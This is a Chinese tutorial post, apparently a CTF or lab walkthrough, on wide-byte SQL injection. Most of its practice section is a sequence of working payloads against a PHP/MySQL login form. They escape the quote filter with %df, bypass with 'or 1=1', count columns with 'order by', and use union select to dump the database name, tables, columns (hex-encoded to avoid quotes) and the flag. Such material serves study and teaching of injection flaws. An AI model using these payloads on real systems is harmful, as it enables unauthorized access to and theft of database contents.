【宽字节注入】

字符编码

url 编码

GBK编码

utf8 编码

宽字节注入

php中的转译函数

宽字节注入介绍


练习

正常输入没有回显:

cpp 复制代码
没有回显
username=admin&password=admin 

闭合单引号,依旧没有回显
username=admin' and 1=1%23&password=admin

利用宽字节尝试闭合,依旧没有回显
username=admin%df' and 1=1%23&password=admin

换成or连接,回显admin,说明数据库里面没有admin,导致前面的admin是flase,后面是true,and需要保证两个都是ture才能返回ture
username=admin%df' or 1=1%23&password=admin

下面我们之间用常规的union来获取数据,先用order by 来测试列数:

cpp 复制代码
username=admin%df' order by 4 select 1,2,3%23

报错回显了,没有那么多列数,说明只有三列:

我们接着用union来测试回显位:

cpp 复制代码
username=admin%df' union select 1,2,3%23

拿到回显列后,直接开始拿数据:

cpp 复制代码
拿库名
username=admin%df' union select 1,database(),3%23&password=admin

拿表名
username=admin%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=admin

拿列名 #这里的0x666c6167是flag转成16进制后的编码,因为单引号被过滤了,所以通过编码绕过
username=admin%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666c6167%23&password=admin

拿数据
username=admin%df' union select 1,flag,3 from flag%23&password=admin
相关推荐
计算机安禾4 小时前
【数据库系统原理】第15篇:范式理论(上):1NF至BCNF——消除非主属性对码的传递依赖与部分依赖
数据库
你的保护色4 小时前
数据库第一章-基础知识学习
数据库·学习
倔强的石头_4 小时前
《Kingbase护城河》——数据库卡顿急救手册:会话状态深度解析与“僵尸进程”排查实战
数据库
ManageEngine卓豪5 小时前
数据库可观测性:MySQL与Redis监控核心监控指标与全栈运维解决方案
数据库·redis·mysql·数据库性能·数据库监控
真实的菜5 小时前
Redis 从入门到精通(十四):Redis 7.x 新特性全解 —— 系列收官之作
数据库·redis·缓存
哭哭啼5 小时前
pgSql 事务篇
java·数据库·postgresql
霸道流氓气质5 小时前
从MySQL到云原生:全面解析阿里云PolarDB数据库及其与MySQL的核心差异
数据库·mysql·云原生
这个DBA有点耶6 小时前
时序数据库选型:吞吐、压缩与查询延迟的均衡之术
数据库·sql·架构·时序数据库·dba
luck_bor6 小时前
数据库简介
数据库·oracle